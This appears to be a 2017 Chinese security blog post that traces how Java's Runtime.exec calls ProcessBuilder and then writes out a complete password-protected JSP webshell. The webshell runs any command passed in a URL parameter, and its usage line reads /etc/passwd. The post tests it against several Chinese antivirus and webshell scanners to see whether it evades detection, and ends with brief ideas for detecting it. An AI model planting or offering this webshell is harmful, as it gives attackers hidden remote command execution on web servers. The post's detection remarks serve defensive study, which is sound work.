Author:Sevck

Date:2017年6月24日

昨天在网络尖刀老年活动中心群里,忽然想到一个问题,就是JAVA在运行Runtime执行命令的时候会不会调用bash,因为php等语言会调用bash进行命令:

我:JAVA在执行命令的时候会不会调用bash?
Feng : processbuilder
我:
/**
* Executes the specified command and arguments in a separate process.
*
*/
public Process exec(String cmdarray[]) throws IOException {
return exec(cmdarray, null, null);
} 我 : 只有 Runtime.exec("/bin/bash xxxxx")才调bash

好奇JAVA的Runtime是如何实现的,去翻阅JAVA源码查看实现方法:

Runtime执行实例:

Runtime.getRuntime().exec("TODO");

实现代码(文件代码:java/lang/Runtime.java 346 行):

// 方法1
public Process exec(String command) throws IOException {
return exec(command, null, null);
}
// 方法2
public Process exec(String command, String[] envp) throws IOException {
return exec(command, envp, null);
}
// 方法3
public Process exec(String command, String[] envp, File dir)
throws IOException {
if (command.length() == 0)
throw new IllegalArgumentException("Empty command"); StringTokenizer st = new StringTokenizer(command);
String[] cmdarray = new String[st.countTokens()];
for (int i = 0; st.hasMoreTokens(); i++)
cmdarray[i] = st.nextToken();
return exec(cmdarray, envp, dir);
}
// 方法4
public Process exec(String cmdarray[]) throws IOException {
return exec(cmdarray, null, null);
}
// 方法5
public Process exec(String[] cmdarray, String[] envp) throws IOException {
return exec(cmdarray, envp, null);
// 方法6
public Process exec(String[] cmdarray, String[] envp, File dir)
throws IOException {
return new ProcessBuilder(cmdarray)
.environment(envp)
.directory(dir)
.start();
}
}

从上面可以看出几个重要的信息:

  1. 方法1和方法2调用的是方法3
  2. 方法3调用的是方法6
  3. 方法4和方法5调用的也是方法6
  4. 方法6创建了一个ProcessBuilder对象

至此,是Runtime.getRuntime().exec("TODO")的实现原理,但是还是没有详细的解释清楚是如何实现的,只是说调用了ProcessBuilder类。

ProcessBuilder是J2SE 1.5之后新增的类,此类用于创建操作系统进程,它提供一种启动和管理进程(也就是应用程序)的方法。在J2SE 1.5之前,都是由Process类处来实现进程的控制管理。

Process和ProcessBuilder的关系:

每个 ProcessBuilder 实例管理一个进程属性集。它的start() 方法利用这些属性创建一个新的 Process 实例。start() 方法可以从同一实例重复调用,以利用相同的或相关的属性创建新的子进程。

ProcessBuilder为进程提供了更多的控制,例如,可以设置当前工作目录,还可以改变环境参数。而Process的功能相对来说简单的多。
ProcessBuilder是一个final类,有两个带参数的构造方法,你可以通过构造方法来直接创建ProcessBuilder的对象。而Process是一个抽象类,一般都通过Runtime.exec()和ProcessBuilder.start()来间接创建其实例。

ProcessBuilder:

  java.lang.ProcessBuilder,父类Object.

源码ProcessBuilder类的注释:

  • This class is used to create operating system processes.
  • Each ProcessBuilder instance manages a collection of process attributes.
  • The start() method creates a new Process instance with those attributes.
  • The start() method can be invoked repeatedly from the same instance to create new subprocesses with identical or related attributes.

真对该类有更详细的解释,详情请看:https://docs.oracle.com/javase/7/docs/api/java/lang/ProcessBuilder.html

所以,在执行Runtime的时候或者执行Process再者ProcessBuilder都是在进程中执行的,所以也不会调用bash。

除非一些webshell在调用执行命令的时候指定了bash,例如Runtime.getRuntime().exec("/bin/bash -c id");

利用ProcessBuilder简单写一个webshell:

<%--
Created by IntelliJ IDEA.
User: sevck
Date: 2017/6/24
Time: 10:06
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.Process" %>
<html>
<head>
<title>jsp shell file</title>
</head> <body>
<%
/*
Use: http://127.0.0.1/shell.jsp?pwd=sevck&cmd=cat@/etc/passwd
*/
// Verify OS Windows or Linux
String os = System.getProperty("os.name");
if(os.toLowerCase().startsWith("win")){
out.print("windows");
}else{
out.print("Linux");
}
if(request.getParameter("cmd") != null && request.getParameter("pwd").equals("sevck") ){
// Request Parameter cmd contents conversion String to Strings args.
String command = request.getParameter("cmd");
String [] args = command.split("@");
try {
// Create Process In the process, the received parameter is an array.
ProcessBuilder pb = new ProcessBuilder(args);
// Setup Process Output Result (Normal and Error)
pb.redirectErrorStream(true);
// Start Process
Process pro = pb.start();
}catch (Exception e){
// TODO
String error =e.getMessage();
}
}else {
out.print("业务测试");
}
%>
</body>
</html>
这样,这个webshell就达到了任意命令执行:

我们利用这个测试一下各大厂商查杀效果:
360:

腾讯:

D盾:

安全狗:

微步在线:

检测与遐想:
Audit可以审计每个进程,那么Audit检测JAVA启动的进程是否为异常进程,例如:执行恶意二进制,查看修改文件等。
或者从JVM进行监控。

浅析JAVA Runtime原理与过各大厂商免杀webshell制作的更多相关文章

  1. 20165223《网络对抗技术》Exp3 免杀原理与实践

    目录 -- 免杀原理与实践 免杀原理与实践 本次实验任务 基础知识问答 免杀扫描引擎 实验内容 正确使用msf编码器,msfvenom生成jar等文件,veil-evasion,加壳工具,使用shel ...

  2. 2018-2019 2 20165203 《网络对抗技术》 Exp3 免杀原理与实践

    2018-2019 2 20165203 <网络对抗技术> Exp3 免杀原理与实践 免杀原理与实践说明及基础问答部分 实验任务 正确使用msf编码器(0.5分),msfvenom生成如j ...

  3. 2017-2018-2 20155303 『网络对抗技术』Exp3:免杀原理与实践

    2017-2018-2 20155303 『网络对抗技术』Exp3:免杀原理与实践 --------CONTENTS-------- 1. 免杀原理与实践说明 实验说明 基础问题回答 2. 使用msf ...

  4. 2018-2019-2 20165209 《网络对抗技术》Exp3:免杀原理与实践

    2018-2019-2 20165209 <网络对抗技术>Exp3:免杀原理与实践 1 免杀原理与实验内容 1.1 免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中 ...

  5. Java JUC之Atomic系列12大类实例讲解和原理分解

    Java JUC之Atomic系列12大类实例讲解和原理分解 2013-02-21      0个评论       作者:xieyuooo 收藏    我要投稿 在java6以后我们不但接触到了Loc ...

  6. 浅析java内存管理机制

    内存管理是计算机编程中的一个重要问题,一般来说,内存管理主要包括内存分配和内存回收两个部分.不同的编程语言有不同的内存管理机制,本文在对比C++和Java语言内存管理机制的不同的基础上,浅析java中 ...

  7. Java入门-浅析Java学习从入门到精通【转】

    一. JDK (Java Development Kit)  JDK是整个Java的核心,包括了Java运行环境(Java Runtime Envirnment),一堆Java工具和Java基础的类库 ...

  8. [转帖]浅析java程序的执行过程

    浅析java程序的执行过程 转帖来源: https://www.cnblogs.com/wangjiming/p/10315983.html 之前学习过 这一块东西 但是感觉理解的不深刻. copy一 ...

  9. 【JVM】linux上tomcat中部署的web服务,时好时坏,莫名其妙宕机,报错:There is insufficient memory for the Java Runtime Environment to continue.

    =========================================================================================== 环境: linu ...

随机推荐

  1. 虚拟机开启Linux时出现“我以复制虚拟机”、“我已移动虚拟机”

    当出现标题的情况时,并且网络出现状况时,可以尝试一下解决办法 首先用ifconfig -a命令调出现在的网卡驱动的名称和HWaddr地址,然后再编辑/etc/sysconfig/networking/ ...

  2. Spring 入门base

    提起Spring,就会想到企业级框架这个词 企业级系统: 1.大规模:用户数量多,数据规模庞大,数据众多 2.性能和安全性要求更高 3.业务复杂 4.灵活应变 我觉得先了解一下Spring的地位和他的 ...

  3. 利用闭包特性改写addEventListener的回调函数

    var numClicks = 0; document.addEventListener("click",function(){ alert( ++numClicks); },fa ...

  4. jstl: <c:url> 标签

    这个标签主要是用来重写 URL 地址.它的使用格式如下所示:<c:url value=”value” [context=”context”] [var=”varName”] [scope=”pa ...

  5. 2017-03-04 dotnet core网站发布到Linux系统中

    今天开始学习dotnet core的开发,距离Visual Stuio 2017正式版的发布,也就是VS20周岁的生日还有三天,在我的电脑上安装的是VS2017 Enterprise RC版, 在VS ...

  6. 微软面向高并发应用而推出的新程序库——TPL Dataflow

    TPL Dataflow库的几个扩展函数 TPL Dataflow是微软面向高并发应用而推出的新程序库.借助于异步消息传递与管道,它可以提供比线程池更好的控制.本身TPL库在DataflowBlock ...

  7. Wannafly挑战赛4 B,小AA的数列

    题意:求子区间异或和,要求区间长度在l到r之间,并且为偶数 题解:对于每一位算贡献,可以分奇偶来记录,计算的时候只加上奇偶性相同的就保证了为偶数,从大于l的点开始每次++,从大于r的点每次--,记录二 ...

  8. hzau 1208 Color Circle(dfs)

    1208: Color Circle Time Limit: 1 Sec  Memory Limit: 1280 MBSubmit: 289  Solved: 85[Submit][Status][W ...

  9. mysql 注意事项

    1. mysql所有的存储引擎均不支持check约束,但可以使用check约束,而没有任何效果

  10. IE跨Iframe时Session丢失问题

    例如IIS下,可以打开IIS窗口——〉选择一个网站——〉属性——〉http头,增加一个http头 然后输入头名:P3P 输入头内容:CP=CAO PSA OUR 点评:与上一个方法类似,此方法也要求第 ...